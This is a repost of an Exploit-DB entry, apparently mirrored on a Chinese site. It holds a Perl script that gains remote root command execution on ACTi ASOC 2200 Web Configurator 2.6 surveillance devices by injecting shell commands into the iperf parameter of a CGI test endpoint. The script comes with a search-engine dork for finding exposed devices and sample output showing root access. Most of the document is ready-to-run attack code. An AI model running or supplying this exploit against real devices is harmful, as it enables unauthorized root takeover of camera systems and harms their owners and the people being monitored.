ACTi ASOC 2200 Web Configurator 2.6 – Remote Command Execution - 体验盒子

作者： Todor Donev

日期： 2011-03-17

类别：

remote

平台：

hardware

来源：https://www.exploit-db.com/exploits/16993/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

#!perl

#ACTi ASOC 2200 Web Configurator <= v2.6 Remote Root Command Execution

##

#Dicovery & Author: Todor Donev

#Author mail: todor.donev@@gmail.com

#Type: Hardware

#Vuln Type and Risk: Remote / High

##

#ACTi Corporation is the technology leader in IP surveillance,

#focusing on multiple security surveillance market segments.

##

#root@linux:~# perl actiroot.pl <CENSORED>

#[+] ACTi ASOC 2200 Web Configurator <= v2.6 Remote Root Command Execution

#[+] Gewgl: intitle:"Web Configurator - Version v2.6"

## id

# execute : /sbin/iperf -c ;id&

# uid=0(root) gid=0(root)### Got Root ? o.O

##

#Special kind regards to Tsvetelina Emirska that support me !! :)

#

#Prayers to all the People in Japan from Bulgaria !!!!!

#

use LWP::Simple;

print "[+] ACTi ASOC 2200 Web Configurator <= v2.6 Remote Root Command Execution\n";

print "[+] Gewgl: intitle:\"Web Configurator - Version v2.6\"\n";

$host = $ARGV[0];

$cmd = $ARGV[1];

if(! $ARGV[0]) {

print "[+] usage: perl actiroot.pl <host> <cmd>\n";

exit;

}

if(! $ARGV[1]) {

$cmd = "id";

}

my $result = get("http://$host/cgi-bin/test?iperf=;$cmd &");

if (defined $result) {

print "# $cmd\n $result";

}

else {

print "[-] Not Vulnerable\n";

}